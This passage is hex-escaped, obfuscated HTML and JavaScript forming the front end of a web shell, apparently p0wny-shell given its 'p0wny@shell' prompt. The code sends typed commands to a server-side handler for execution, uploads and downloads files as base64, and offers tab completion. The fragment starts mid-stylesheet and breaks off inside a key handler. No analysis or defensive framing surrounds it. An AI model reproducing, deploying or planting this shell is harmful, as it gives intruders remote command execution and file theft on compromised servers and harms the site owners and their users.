#shell-\x69\x6e\x70\x75\x74\x20di\x76\x20{\n   \x20\x20\x20\x20\x20 \x20\x20\x20\x20  \x20f\x6ce\x78-grow: \x31\x3b\n     \x20\x20 \x20\x20\x20  \x20\x20\x20\x61li\x67\x6e-i\x74em\x73: s\x74\x72e\x74\x63\x68;\n\x20 \x20   \x20  \x20\x20\x20}\n\n \x20\x20\x20 \x20\x20  \x20\x20 \x23\x73\x68\x65\x6c\x6c-\x69\x6ep\x75\x74\x20\x69\x6epu\x74 {\n   \x20\x20\x20\x20   \x20 \x20  \x20\x6f\x75t\x6c\x69\x6ee:\x20no\x6ee;\n\x20\x20\x20  \x20\x20\x20\x20  \x20}\n\x20\x20 \x20    </s\x74\x79l\x65\x3e\n\n\x20 \x20\x20 \x20  \x3c\x73c\x72ipt>\n\x20\x20   \x20      var CWD\x20=\x20\x6e\x75ll\x3b\n\x20      \x20\x20 \x20 v\x61\x72 \x63\x6fmma\x6ed\x48istor\x79 =\x20[]\x3b\n \x20\x20\x20\x20 \x20\x20\x20   v\x61r\x20\x68is\x74\x6fr\x79Pos\x69t\x69\x6f\x6e\x20\x3d\x200\x3b\n\x20\x20 \x20  \x20\x20 \x20\x20\x20\x76ar \x65S\x68\x65ll\x43\x6d\x64I\x6ep\x75t \x3d\x20n\x75\x6c\x6c\x3b\n\x20\x20 \x20\x20  \x20\x20 \x20 var\x20\x65S\x68ell\x43\x6f\x6et\x65nt \x3d\x20n\x75\x6c\x6c\x3b\n\n\x20 \x20\x20\x20\x20 \x20\x20\x20 \x20f\x75n\x63\x74\x69\x6f\x6e _\x69\x6e\x73er\x74C\x6fmmand(\x63om\x6dan\x64)\x20{\n  \x20 \x20\x20  \x20\x20   \x20\x20 \x65\x53hellCon\x74\x65nt\x2e\x69\x6en\x65\x72HT\x4dL +\x3d \"\\\x6e\\n\x22;\n\x20\x20 \x20\x20 \x20 \x20\x20  \x20 \x20 \x65Sh\x65l\x6c\x43o\x6e\x74ent\x2e\x69n\x6e\x65\x72H\x54ML\x20+= '\x3csp\x61n\x20\x63\x6c\x61ss\x3d\\\x22\x73\x68e\x6c\x6c-p\x72o\x6dp\x74\x5c\x22>\x27\x20+ g\x65\x6e\x50r\x6f\x6d\x70t(C\x57\x44) +\x20\x27\x3c/\x73\x70\x61\x6e>\x20\x27\x3b\n    \x20 \x20 \x20\x20\x20     \x65\x53\x68\x65\x6c\x6cCo\x6etent\x2einn\x65\x72\x48T\x4d\x4c\x20+= \x65\x73c\x61pe\x48\x74m\x6c(\x63o\x6d\x6dan\x64)\x3b\n\x20  \x20 \x20\x20\x20 \x20 \x20\x20\x20\x20\x20\x65\x53h\x65l\x6c\x43\x6f\x6ete\x6et.\x69n\x6e\x65r\x48TM\x4c\x20+\x3d \"\\\x6e\x22;\n \x20\x20 \x20\x20\x20\x20\x20 \x20   \x20 \x65Sh\x65\x6clCo\x6e\x74en\x74.sc\x72\x6fllTo\x70 \x3d \x65S\x68e\x6c\x6cC\x6fnt\x65\x6e\x74.\x73cr\x6f\x6cl\x48\x65i\x67\x68t;\n\x20\x20\x20\x20 \x20\x20\x20\x20 \x20 }\n\n\x20 \x20      \x20 \x20fu\x6ection\x20_in\x73e\x72\x74S\x74\x64\x6fut(s\x74d\x6fu\x74)\x20{\n    \x20\x20\x20 \x20       \x65S\x68e\x6clC\x6fnten\x74.\x69\x6en\x65r\x48\x54\x4d\x4c\x20+\x3d\x20\x65scapeH\x74ml(s\x74d\x6fut)\x3b\n\x20  \x20  \x20 \x20\x20\x20     \x65Shell\x43\x6f\x6e\x74\x65\x6et\x2e\x73cr\x6f\x6cl\x54\x6f\x70 \x3d e\x53hel\x6cC\x6f\x6et\x65n\x74.\x73c\x72\x6f\x6cl\x48e\x69ght\x3b\n\x20\x20\x20 \x20   \x20\x20 \x20}\n\n \x20 \x20\x20\x20   \x20\x20 fu\x6e\x63\x74io\x6e \x5fd\x65\x66\x65r(call\x62\x61\x63\x6b)\x20{\n \x20\x20\x20\x20\x20\x20\x20 \x20\x20\x20\x20\x20  setT\x69\x6d\x65\x6f\x75\x74(c\x61\x6clb\x61c\x6b, \x30);\n \x20\x20\x20\x20\x20  \x20\x20  }\n\n\x20\x20      \x20\x20\x20 f\x75n\x63\x74io\x6e \x66e\x61tu\x72\x65\x53\x68el\x6c(co\x6d\x6d\x61\x6ed)\x20{\n\n\x20\x20   \x20 \x20\x20\x20 \x20    _in\x73\x65r\x74\x43omma\x6ed(\x63om\x6d\x61n\x64)\x3b\n  \x20     \x20\x20    \x20 if (/^\\\x73*\x75pl\x6f\x61d\\s+[^\x5c\x73]+\\\x73*\$/\x2e\x74e\x73\x74(comman\x64))\x20{\n \x20  \x20\x20\x20\x20\x20    \x20\x20\x20\x20   \x66\x65a\x74\x75\x72\x65\x55\x70\x6c\x6f\x61\x64(c\x6fm\x6d\x61n\x64.ma\x74\x63\x68(/^\\\x73*\x75p\x6c\x6f\x61\x64\x5c\x73+([^\x5cs]+)\\s*\$/)[1]);\n \x20    \x20\x20 \x20\x20\x20 \x20 \x20}\x20e\x6c\x73\x65 if\x20(/^\\s*c\x6ce\x61r\x5cs*\$/\x2e\x74est(c\x6fm\x6da\x6e\x64))\x20{\n\x20  \x20\x20\x20   \x20  \x20\x20 \x20\x20\x20\x20\x20// B\x61\x63\x6b\x65\x6ed\x20s\x68e\x6c\x6c\x20TER\x4d\x20\x65\x6evironment v\x61r\x69a\x62le\x20n\x6ft\x20\x73et\x2e \x43l\x65a\x72\x20\x63\x6f\x6d\x6dan\x64\x20h\x69s\x74o\x72y f\x72o\x6d U\x49 b\x75t\x20\x6beep\x20\x69\x6e \x62\x75ff\x65r\n  \x20\x20  \x20\x20\x20 \x20\x20 \x20\x20\x20\x20\x20\x20\x20eS\x68\x65l\x6c\x43on\x74\x65\x6et.\x69n\x6eerH\x54M\x4c\x20\x3d \x27\x27\x3b\n  \x20   \x20\x20\x20 \x20 \x20   }\x20\x65l\x73e\x20{\n\x20\x20  \x20\x20   \x20   \x20      m\x61keR\x65\x71u\x65st(\x22?\x66ea\x74u\x72\x65=\x73\x68\x65\x6c\x6c\x22,\x20{\x63md: com\x6d\x61\x6ed,\x20c\x77\x64: C\x57D}, f\x75n\x63tion (\x72\x65s\x70\x6fns\x65) {\n\x20\x20     \x20\x20\x20\x20 \x20\x20  \x20 \x20\x20 \x20  i\x66 (r\x65\x73p\x6f\x6ese.\x68\x61s\x4f\x77nP\x72o\x70erty(\x27\x66\x69\x6c\x65')) {\n\x20\x20 \x20 \x20 \x20  \x20  \x20\x20\x20   \x20  \x20\x20\x20\x20 \x20f\x65\x61t\x75r\x65\x44\x6fwnl\x6f\x61\x64(r\x65\x73p\x6fnse.\x6ea\x6d\x65, re\x73\x70\x6f\x6e\x73\x65\x2e\x66\x69l\x65)\n \x20\x20\x20   \x20\x20   \x20 \x20 \x20    \x20  }\x20\x65\x6cse {\n \x20  \x20\x20 \x20   \x20\x20\x20\x20     \x20\x20\x20 \x20  \x20_in\x73ertS\x74\x64o\x75\x74(r\x65s\x70\x6fn\x73\x65\x2est\x64o\x75t.jo\x69n(\x22\\n\"));\n \x20\x20   \x20  \x20  \x20 \x20\x20    \x20  \x20\x20\x20 \x20\x75\x70da\x74\x65C\x77d(\x72espon\x73e\x2ec\x77\x64)\x3b\n \x20\x20  \x20\x20 \x20      \x20 \x20\x20 \x20 \x20 }\n\x20\x20 \x20\x20\x20\x20\x20\x20 \x20\x20 \x20\x20    \x20})\x3b\n\x20 \x20  \x20  \x20\x20  \x20\x20  }\n\x20\x20\x20\x20\x20\x20\x20 \x20   }\n\n\x20 \x20 \x20 \x20   \x20\x20f\x75\x6ect\x69\x6fn\x20\x66\x65\x61\x74\x75reH\x69\x6et() {\n\x20  \x20\x20\x20\x20   \x20    \x20if\x20(\x65\x53he\x6c\x6c\x43m\x64\x49\x6ep\x75\x74\x2e\x76al\x75\x65.\x74\x72\x69m().leng\x74\x68 \x3d\x3d=\x20\x30) retu\x72\x6e;  //\x20\x66\x69e\x6cd\x20\x69s\x20e\x6d\x70\x74\x79\x20-> no\x74\x68ing \x74\x6f \x63\x6f\x6dp\x6c\x65te\n\n\x20\x20 \x20 \x20       \x20 \x20fu\x6ec\x74ion \x5f\x72equestC\x61ll\x62\x61c\x6b(d\x61\x74\x61) {\n\x20   \x20\x20\x20\x20\x20 \x20\x20       \x20\x69f\x20(dat\x61.\x66\x69l\x65\x73.\x6c\x65n\x67\x74\x68\x20\x3c=\x201) \x72et\x75\x72n; \x20//\x20\x6eo \x63om\x70l\x65ti\x6f\x6e\n\n \x20 \x20 \x20  \x20 \x20\x20\x20\x20\x20\x20\x20\x20\x20 \x69\x66 (d\x61\x74a\x2e\x66i\x6ce\x73\x2e\x6c\x65ngth\x20=== 2)\x20{\n   \x20   \x20 \x20\x20 \x20\x20 \x20\x20 \x20\x20\x20\x20\x20 \x69\x66 (\x74ype\x20=\x3d= \x27\x63\x6dd') {\n\x20\x20 \x20\x20\x20\x20  \x20\x20\x20\x20 \x20\x20 \x20\x20  \x20 \x20\x20\x20\x20 \x65\x53h\x65ll\x43md\x49n\x70u\x74.\x76\x61\x6cu\x65 \x3d\x20\x64\x61\x74\x61.\x66il\x65s[0];\n\x20   \x20\x20\x20\x20\x20  \x20  \x20\x20 \x20   \x20\x20\x20} els\x65 {\n\x20\x20\x20 \x20\x20\x20\x20  \x20   \x20\x20  \x20 \x20\x20  \x20   va\x72 \x63\x75r\x72\x65\x6etVa\x6cue \x3d\x20eShe\x6c\x6c\x43m\x64\x49np\x75t\x2e\x76\x61\x6cue;\n \x20  \x20  \x20\x20\x20\x20  \x20\x20\x20\x20 \x20\x20\x20\x20 \x20\x20\x20 \x20\x65\x53hel\x6c\x43md\x49n\x70ut.val\x75\x65 =\x20cu\x72\x72\x65n\x74Va\x6cue.r\x65\x70lace(/([^\x5c\x73]*)\$/, \x64\x61ta\x2e\x66i\x6ce\x73[\x30]);\n           \x20 \x20\x20\x20 \x20\x20  \x20  }\n\x20\x20\x20 \x20 \x20  \x20  \x20\x20 \x20 \x20  }\x20e\x6cs\x65\x20{\n\x20\x20\x20   \x20  \x20 \x20\x20\x20\x20  \x20  \x20  \x20\x5f\x69n\x73\x65rtC\x6f\x6d\x6da\x6ed(\x65\x53\x68e\x6c\x6cCmd\x49np\x75\x74\x2eval\x75\x65);\n\x20  \x20 \x20\x20 \x20 \x20  \x20 \x20\x20  \x20\x20\x20\x20\x20\x5f\x69n\x73e\x72\x74\x53\x74d\x6f\x75\x74(d\x61\x74\x61\x2ef\x69les\x2ej\x6fi\x6e(\"\x5c\x6e\x22))\x3b\n \x20\x20    \x20         \x20 \x20}\n \x20 \x20\x20    \x20\x20   \x20 }\n\n \x20 \x20  \x20\x20\x20\x20\x20 \x20\x20 \x20va\x72\x20curren\x74C\x6d\x64\x20\x3d\x20\x65S\x68\x65\x6c\x6c\x43\x6dd\x49\x6ep\x75t\x2e\x76\x61l\x75e\x2e\x73pl\x69\x74(\"\x20\x22)\x3b\n\x20\x20\x20  \x20\x20\x20  \x20 \x20\x20\x20 \x76\x61\x72\x20\x74\x79p\x65 =\x20(\x63\x75\x72r\x65\x6e\x74\x43m\x64\x2e\x6cen\x67\x74h \x3d== 1) ? \"c\x6dd\x22\x20:\x20\x22\x66i\x6ce\x22\x3b\n  \x20   \x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x76\x61\x72\x20fil\x65\x4ea\x6d\x65\x20= (\x74y\x70\x65\x20=\x3d\x3d\x20\x22\x63md\")\x20?\x20cur\x72\x65\x6et\x43md[\x30]\x20: \x63u\x72r\x65\x6e\x74\x43\x6dd[\x63u\x72\x72\x65\x6et\x43\x6dd.le\x6egth\x20- \x31];\n\n\x20\x20   \x20 \x20\x20\x20 \x20  \x20\x20\x6d\x61\x6b\x65\x52\x65q\x75est(\n \x20\x20 \x20\x20 \x20\x20   \x20   \x20\x20\x20\x20\"?\x66eat\x75\x72e\x3dhint\x22,\n \x20\x20  \x20\x20   \x20   \x20\x20\x20\x20\x20\x20{\n \x20  \x20     \x20\x20\x20  \x20\x20\x20\x20 \x20 \x20\x20f\x69\x6ce\x6e\x61\x6de:\x20\x66ileN\x61\x6de,\n \x20 \x20  \x20\x20 \x20\x20  \x20\x20\x20 \x20\x20  \x20\x20 \x63wd:\x20\x43W\x44,\n  \x20  \x20\x20 \x20 \x20 \x20 \x20\x20  \x20\x20\x20 \x20 \x74\x79pe: ty\x70e\n\x20    \x20\x20  \x20      \x20\x20 \x20},\n   \x20\x20 \x20   \x20\x20\x20\x20 \x20\x20  \x20_\x72\x65q\x75est\x43\x61ll\x62\x61c\x6b\n\x20 \x20 \x20  \x20 \x20 \x20  \x20 );\n\n \x20  \x20\x20\x20\x20\x20   }\n\n  \x20 \x20   \x20  \x20fun\x63\x74i\x6fn \x66e\x61tu\x72eDo\x77\x6eloa\x64(\x6ea\x6de, \x66il\x65)\x20{\n  \x20 \x20    \x20     \x20\x76ar\x20e\x6cem\x65\x6e\x74 =\x20\x64\x6fcume\x6e\x74\x2ecr\x65\x61\x74e\x45\x6c\x65me\x6et(\x27a\x27)\x3b\n \x20      \x20\x20\x20  \x20\x20\x20\x65\x6c\x65m\x65\x6e\x74.\x73\x65t\x41\x74\x74ribu\x74e('\x68r\x65f',\x20\x27dat\x61:ap\x70\x6c\x69cati\x6f\x6e/o\x63\x74\x65t-\x73t\x72\x65\x61\x6d\x3b\x62a\x73\x65\x36\x34,' + fi\x6c\x65)\x3b\n  \x20      \x20\x20 \x20 \x20 \x65leme\x6et.setAt\x74r\x69b\x75te('\x64ownload\x27, \x6e\x61me)\x3b\n \x20     \x20 \x20  \x20  \x20ele\x6de\x6e\x74\x2es\x74\x79l\x65\x2e\x64i\x73\x70la\x79 =\x20\x27\x6e\x6f\x6ee\x27;\n\x20  \x20 \x20\x20\x20 \x20 \x20\x20\x20  \x64\x6f\x63\x75me\x6e\x74\x2ebody.a\x70\x70en\x64C\x68ild(elem\x65nt);\n\x20\x20 \x20  \x20\x20\x20\x20\x20 \x20\x20  \x65\x6c\x65me\x6e\x74.\x63l\x69c\x6b()\x3b\n\x20\x20 \x20\x20 \x20  \x20     \x20d\x6fcume\x6et\x2eb\x6fdy.remov\x65C\x68\x69\x6c\x64(\x65\x6cem\x65\x6e\x74);\n\x20    \x20\x20 \x20 \x20  \x20\x20 _\x69nse\x72t\x53tdo\x75\x74(\x27Done\x2e');\n\x20   \x20 \x20\x20 \x20\x20 }\n\n \x20  \x20  \x20\x20\x20  \x66un\x63tion\x20f\x65\x61\x74u\x72e\x55p\x6coa\x64(\x70\x61\x74h) {\n    \x20 \x20\x20  \x20 \x20   v\x61\x72 \x65l\x65\x6den\x74 =\x20\x64\x6fc\x75m\x65nt.\x63reat\x65E\x6c\x65\x6de\x6e\x74('i\x6ep\x75t\x27)\x3b\n\x20 \x20    \x20\x20\x20  \x20\x20 \x20\x65\x6ce\x6d\x65\x6et.s\x65tAtt\x72i\x62u\x74e('\x74ype\x27, 'fi\x6ce')\x3b\n  \x20 \x20  \x20 \x20\x20\x20 \x20 \x20\x65\x6c\x65\x6de\x6e\x74\x2es\x74\x79\x6ce\x2edis\x70la\x79 =\x20\x27\x6eon\x65\x27\x3b\n \x20\x20\x20\x20    \x20 \x20  \x20 \x64oc\x75m\x65\x6et\x2ebo\x64\x79\x2ea\x70\x70\x65nd\x43hi\x6c\x64(e\x6c\x65\x6d\x65\x6e\x74);\n \x20   \x20  \x20 \x20 \x20\x20\x20\x20\x65\x6c\x65\x6den\x74.\x61\x64\x64\x45v\x65n\x74\x4c\x69\x73te\x6e\x65r('\x63h\x61n\x67e',\x20f\x75nct\x69on\x20() {\n   \x20\x20 \x20\x20\x20  \x20\x20\x20\x20\x20\x20 \x20\x20\x76a\x72 p\x72omis\x65\x20= ge\x74\x42a\x73e64(el\x65me\x6et\x2e\x66\x69\x6ce\x73[\x30])\x3b\n\x20\x20\x20\x20  \x20\x20\x20\x20 \x20 \x20\x20 \x20   p\x72omise\x2ethen(fu\x6ec\x74\x69o\x6e\x20(\x66i\x6ce)\x20{\n   \x20   \x20 \x20\x20\x20\x20 \x20\x20 \x20   \x20\x20\x20m\x61k\x65\x52eq\x75\x65\x73t('?f\x65\x61\x74ure=\x75\x70l\x6f\x61\x64\x27, {p\x61t\x68:\x20\x70\x61th, \x66ile: fil\x65, \x63wd: \x43\x57D},\x20\x66\x75n\x63\x74\x69o\x6e\x20(\x72\x65spo\x6e\x73\x65)\x20{\n\x20\x20\x20  \x20 \x20        \x20\x20 \x20\x20\x20 \x20  \x20\x20\x5f\x69n\x73\x65\x72tS\x74d\x6f\x75\x74(\x72\x65sp\x6fns\x65\x2e\x73t\x64\x6f\x75t\x2e\x6a\x6f\x69n(\x22\\\x6e\x22));\n\x20  \x20\x20\x20\x20  \x20      \x20  \x20 \x20\x20\x20 \x20 \x20\x75pd\x61\x74eC\x77d(\x72e\x73p\x6fnse\x2e\x63\x77\x64)\x3b\n\x20 \x20\x20 \x20\x20\x20    \x20\x20  \x20\x20 \x20\x20\x20 \x20})\x3b\n\x20 \x20\x20\x20\x20\x20\x20 \x20\x20 \x20 \x20\x20 \x20\x20\x20},\x20\x66\x75\x6e\x63\x74i\x6fn ()\x20{\n \x20 \x20 \x20  \x20\x20\x20\x20\x20 \x20 \x20 \x20 \x20 \x20\x20\x5finsertSt\x64out('\x41n\x20u\x6ek\x6e\x6fwn \x63lien\x74-\x73ide err\x6f\x72 \x6f\x63\x63\x75\x72re\x64.\x27)\x3b\n\x20\x20\x20    \x20\x20\x20\x20\x20\x20 \x20 \x20\x20\x20 })\x3b\n  \x20\x20\x20\x20 \x20  \x20\x20 \x20\x20\x20})\x3b\n    \x20\x20  \x20\x20    \x20\x20\x65l\x65\x6de\x6e\x74\x2e\x63\x6ci\x63\x6b();\n \x20   \x20\x20\x20\x20 \x20\x20    do\x63u\x6d\x65nt.\x62o\x64\x79\x2er\x65m\x6f\x76\x65Chil\x64(\x65leme\x6e\x74)\x3b\n    \x20 \x20  \x20  }\n\n\x20\x20  \x20  \x20\x20\x20\x20 \x66\x75\x6e\x63\x74\x69on g\x65\x74\x42as\x65\x36\x34(file, o\x6e\x4c\x6fa\x64Callback) {\n \x20\x20 \x20\x20 \x20\x20\x20 \x20    \x72e\x74urn \x6e\x65\x77\x20\x50\x72omise(\x66\x75\x6e\x63\x74ion(\x72\x65\x73o\x6c\x76e,\x20re\x6aec\x74)\x20{\n\x20  \x20 \x20\x20   \x20     \x20 \x20\x20\x76\x61r \x72ead\x65\x72\x20= n\x65w\x20\x46\x69\x6ceRead\x65r()\x3b\n\x20\x20 \x20\x20\x20\x20 \x20 \x20 \x20     \x20\x20r\x65a\x64e\x72\x2eo\x6el\x6fa\x64 =\x20f\x75\x6ectio\x6e()\x20{ \x72\x65\x73\x6f\x6cve(r\x65ade\x72.\x72e\x73\x75lt\x2ema\x74\x63\x68(/\x62a\x73e\x36\x34,(.*)\$/)[\x31]);\x20}\x3b\n \x20\x20 \x20\x20 \x20\x20\x20  \x20\x20      reade\x72.o\x6ee\x72\x72\x6fr = \x72eject\x3b\n   \x20\x20   \x20\x20  \x20  \x20\x20\x20\x20\x20re\x61\x64er\x2e\x72ead\x41sD\x61\x74a\x55RL(\x66\x69\x6ce);\n\x20\x20    \x20 \x20\x20 \x20\x20\x20\x20\x20});\n\x20   \x20 \x20  \x20  }\n\n \x20\x20\x20\x20\x20\x20\x20    \x66u\x6e\x63\x74\x69on\x20ge\x6eP\x72\x6f\x6dp\x74(cw\x64)\x20{\n \x20 \x20 \x20\x20 \x20     \x20\x20\x63w\x64\x20\x3d\x20cwd || \x22\x7e\x22;\n \x20\x20  \x20\x20 \x20\x20\x20     var \x73\x68\x6frt\x43\x77\x64\x20\x3d c\x77d;\n\x20\x20  \x20\x20  \x20\x20\x20\x20\x20  \x20i\x66 (\x63w\x64.s\x70l\x69t(\x22/\").\x6cen\x67t\x68\x20>\x203)\x20{\n  \x20\x20\x20\x20\x20\x20 \x20 \x20 \x20   \x20  v\x61r\x20\x73pl\x69\x74t\x65\x64\x43\x77\x64 = cw\x64\x2e\x73p\x6c\x69\x74(\"/\x22)\x3b\n\x20\x20\x20 \x20  \x20 \x20  \x20\x20\x20\x20\x20 \x20\x20s\x68or\x74C\x77d\x20= \"/\x22\x20+\x20\x73p\x6c\x69t\x74\x65dC\x77d[s\x70\x6c\x69\x74ted\x43\x77\x64\x2e\x6ce\x6e\x67\x74\x68-2]\x20+\x20\x22/\" + s\x70\x6citt\x65dC\x77\x64[\x73\x70lit\x74\x65d\x43wd\x2e\x6ce\x6e\x67t\x68-1]\x3b\n\x20  \x20\x20\x20 \x20  \x20\x20  \x20 }\n\x20    \x20 \x20\x20\x20\x20   \x20 ret\x75\x72\x6e \x22\x700w\x6ey@\x73he\x6cl:\x3c\x73pa\x6e \x74\x69t\x6c\x65\x3d\\\x22\x22\x20+\x20\x63\x77\x64\x20+ \x22\x5c\"\x3e\x22\x20+\x20s\x68\x6f\x72tCwd\x20+ \x22\x3c/s\x70a\x6e>\x23\"\x3b\n\x20 \x20  \x20\x20\x20\x20\x20\x20\x20}\n\n   \x20\x20\x20\x20\x20 \x20\x20\x20\x66\x75nc\x74\x69on \x75\x70da\x74e\x43wd(c\x77\x64)\x20{\n   \x20  \x20  \x20\x20\x20\x20 \x20 \x69\x66 (c\x77\x64) {\n \x20     \x20 \x20\x20   \x20\x20 \x20  CWD \x3d cw\x64\x3b\n\x20\x20 \x20\x20   \x20   \x20 \x20  \x20\x20\x20\x5fu\x70d\x61\x74ePr\x6f\x6d\x70t()\x3b\n  \x20\x20   \x20\x20\x20  \x20\x20\x20\x20 \x20  \x72\x65t\x75\x72n;\n\x20\x20  \x20\x20\x20 \x20 \x20 \x20\x20  }\n  \x20\x20     \x20 \x20 \x20 \x20\x6dak\x65\x52eque\x73\x74(\x22?\x66\x65ature=\x70\x77d\", {},\x20fu\x6e\x63tio\x6e(r\x65\x73\x70on\x73e) {\n\x20\x20\x20 \x20\x20 \x20 \x20   \x20 \x20\x20 \x20\x20CWD \x3d \x72\x65\x73pons\x65.\x63\x77d\x3b\n   \x20\x20\x20\x20\x20 \x20\x20\x20\x20   \x20\x20 \x20_updat\x65Pro\x6d\x70t();\n\x20\x20  \x20 \x20\x20      \x20\x20});\n\n\x20\x20\x20\x20 \x20 \x20\x20   }\n\n\x20\x20\x20 \x20 \x20\x20 \x20\x20 fu\x6e\x63\x74ion \x65\x73capeH\x74ml(\x73t\x72\x69\x6eg)\x20{\n \x20\x20\x20\x20\x20\x20 \x20\x20\x20\x20\x20\x20 \x20ret\x75\x72n s\x74\x72i\x6eg\n\x20 \x20 \x20 \x20 \x20  \x20\x20\x20 \x20\x20\x20  .re\x70\x6c\x61c\x65(/&/g, \x22\x26\x61mp;\x22)\n  \x20 \x20\x20\x20\x20\x20\x20  \x20\x20\x20   \x20\x20\x2e\x72e\x70\x6cac\x65(/\x3c/g, \"\x26lt\x3b\x22)\n   \x20 \x20 \x20\x20\x20\x20  \x20\x20\x20\x20 \x20 .r\x65\x70\x6c\x61ce(/>/g,\x20\x22&\x67\x74\x3b\")\x3b\n\x20\x20\x20  \x20\x20\x20 \x20 \x20}\n\n\x20\x20    \x20\x20\x20\x20\x20\x20\x66un\x63tio\x6e\x20_up\x64\x61tePro\x6d\x70\x74() {\n \x20\x20\x20   \x20\x20\x20\x20\x20 \x20\x20\x20\x76ar \x65\x53he\x6cl\x50r\x6f\x6d\x70\x74 = \x64\x6f\x63\x75ment.\x67\x65tEl\x65m\x65\x6e\x74\x42y\x49\x64(\"\x73h\x65\x6c\x6c-p\x72o\x6dpt\x22);\n\x20 \x20\x20 \x20\x20 \x20       e\x53\x68\x65l\x6c\x50\x72o\x6dp\x74.\x69n\x6ee\x72HTML =\x20\x67en\x50\x72\x6f\x6d\x70\x74(C\x57\x44)\x3b\n\x20 \x20\x20 \x20\x20\x20 \x20\x20 }\n\n \x20\x20\x20\x20\x20\x20\x20  \x20\x20\x66\x75\x6ec\x74io\x6e \x5f\x6f\x6eShellC\x6dd\x4be\x79\x44ow\x6e(\x65\x76en\x74) {\n \x20\x20\x20\x20  \x20 \x20\x20 \x20\x20  \x73wi\x74c\x68\x20(\x65\x76\x65\x6e\x74\x2ek\x65\x79) {\n\x20\x20   \x20\x20 \x20\x20\x20\x20\x20\x20\x20\x20  \x20 ca\x73e\x20\x22\x45\x6ete\x72\":\n\x20   \x20\x20\x20 \x20\x20\x20 \x20   \x20   \x20\x20\x20\x20feat\x75\x72\x65Shell(\x65S\x68\x65ll\x43\x6d\x64\x49n\x70\x75\x74\x2eval\x75\x65)\x3b\n  \x20  \x20       \x20\x20\x20\x20\x20\x20   \x20\x20ins\x65\x72\x74\x54\x6fH\x69\x73tor\x79(eS\x68\x65\x6cl\x43\x6d\x64I\x6ep\x75\x74\x2e\x76\x61\x6c\x75e);\n\x20\x20\x20\x20\x20 \x20\x20\x20\x20\x20\x20\x20  \x20\x20 \x20 \x20\x20 \x20eS\x68\x65\x6c\x6cC\x6dd\x49\x6e\x70ut\x2ev\x61\x6c\x75\x65 \x3d\x20\"\"\x3b\n\x20\x20\x20 \x20\x20  \x20\x20    \x20 \x20  \x20  \x20 \x62\x72\x65\x61\x6b;\n \x20\x20  \x20\x20\x20\x20 \x20 \x20 \x20 \x20\x20\x20\x20\x63as\x65 \x22\x41\x72rowU\x70\x22:\n\x20\x20 \x20 \x20\x20\x20\x20\x20  \x20\x20\x20    \x20\x20  \x20if\x20(hi\x73\x74\x6fryP\x6f\x73i\x74i\x6f\x6e\x20> 0)\x20{\n  \x20\x20 \x20 \x20  \x20 \x20\x20\x20\x20\x20\x20 \x20  \x20\x20\x20\x20\x20 h\x69st\x6f\x72\x79Po\x73\x69\x74\x69\x6fn--\x3b\n  \x20\x20 \x20 \x20\x20  \x20 \x20  \x20\x20 \x20  \x20\x20   \x20\x65Sh\x65\x6cl\x43m\x64I\x6epu\x74.\x62lu\x72();\n \x20  \x20 \x20 \x20\x20\x20 \x20\x20\x20 \x20\x20 \x20   \x20 \x20\x20\x20eShe\x6cl\x43m\x64I\x6e\x70\x75\x74\x2e\x76a\x6c\x75e\x20\x3d co\x6dmandH\x69\x73\x74o\x72y[\x68i\x73\x74oryP\x6f\x73\x69tion]\x3b\n    \x20  \x20\x20\x20\x20 \x20 \x20\x20 \x20 \x20  \x20\x20\x20 \x20\x20_d\x65fe\x72(\x66\x75\x6e\x63t\x69on()\x20{\n\x20   \x20\x20\x20\x20\x20 \x20 \x20\x20\x20 \x20 \x20\x20\x20 \x20  \x20   \x20\x20 e\x53h\x65l\x6cC\x6ddI\x6e\x70u\x74\x2ef\x6fc\x75s()\x3b\n\x20  \x20\x20\x20\x20\x20\x20\x20\x20\x20  \x20   \x20\x20\x20\x20\x20\x20\x20\x20 \x20});\n\x20\x20 \x20 \x20\x20 \x20 \x20\x20\x20\x20\x20\x20  \x20     }\n  \x20\x20    \x20  \x20 \x20\x20 \x20\x20\x20   \x20\x20brea\x6b\x3b\n\x20\x20     \x20 \x20    \x20\x20 \x20 \x20\x63a\x73e \x22Arr\x6fwD\x6f\x77\x6e\":\n \x20 \x20\x20\x20     \x20 \x20\x20 \x20\x20 \x20\x20 \x20 i\x66 (h\x69\x73\x74o\x72yP\x6f\x73\x69\x74i\x6fn \x3e=\x20c\x6f\x6dm\x61\x6ed\x48\x69\x73\x74or\x79\x2e\x6c\x65ngt\x68) {\n  \x20 \x20  \x20\x20 \x20 \x20\x20\x20\x20 \x20\x20   \x20  \x20\x20\x20\x62r\x65\x61k\x3b\n\x20\x20  \x20  \x20\x20 \x20\x20\x20\x20\x20\x20  \x20\x20\x20 \x20 }\n \x20\x20   \x20\x20\x20\x20\x20  \x20 \x20\x20\x20 \x20\x20   h\x69st\x6f\x72yPo\x73ition++;\n\x20\x20\x20 \x20 \x20 \x20   \x20\x20\x20\x20  \x20  \x20  \x69\x66\x20(hi\x73t\x6fr\x79P\x6fsiti\x6f\x6e \x3d\x3d\x3d\x20c\x6fm\x6d\x61\x6ed\x48i\x73to\x72\x79.\x6c\x65\x6e\x67\x74\x68) {\n\x20  \x20 \x20\x20\x20 \x20   \x20\x20\x20\x20\x20\x20  \x20  \x20\x20\x20\x20eShellCmdInp\x75t.\x76\x61lue =\x20\x22\x22;\n \x20\x20\x20\x20   \x20    \x20  \x20 \x20     } else\x20{\n\x20\x20\x20\x20\x20    \x20\x20\x20   \x20   \x20\x20\x20 \x20 \x20\x20 e\x53hel\x6c\x43mdInpu\x74.\x62lu\x72()\x3b\n \x20\x20\x20  \x20 \x20 \x20\x20\x20  \x20 \x20\x20\x20\x20\x20\x20\x20 \x20\x20\x20eS\x68e\x6clCm\x64I\x6e\x70ut.fo\x63\x75s();\n\x20\x20 \x20  \x20 \x20 \x20\x20 \x20\x20 \x20  \x20 \x20\x20\x20 \x20\x20 \x65Sh\x65\x6clCmd\x49\x6epu\x74\x2e\x76\x61lu\x65 =\x20c\x6fmmandH\x69s\x74o\x72y[\x68istor\x79\x50o\x73i\x74\x69\x6f\x6e];\n\x20   \x20\x20\x20 \x20\x20  \x20 \x20 \x20\x20  \x20   }\n  \x20 \x20  \x20\x20\x20 \x20\x20   \x20\x20 \x20    b\x72e\x61\x6b;\n\x20\x20   \x20      \x20\x20 \x20\x20 \x20 \x63\x61se\x20'\x54ab':\n \x20 \x20\x20   \x20  \x20 \x20\x20\x20\x20 \x20   \x20 e\x76\x65\x6et\x2epre\x76\x65n\x74\x44\x65\x66au\x6c\x74()\x3b\n\x20\x20 \x20\x20\x20  \x20\x20 \x20 \x20  \x20   \x20  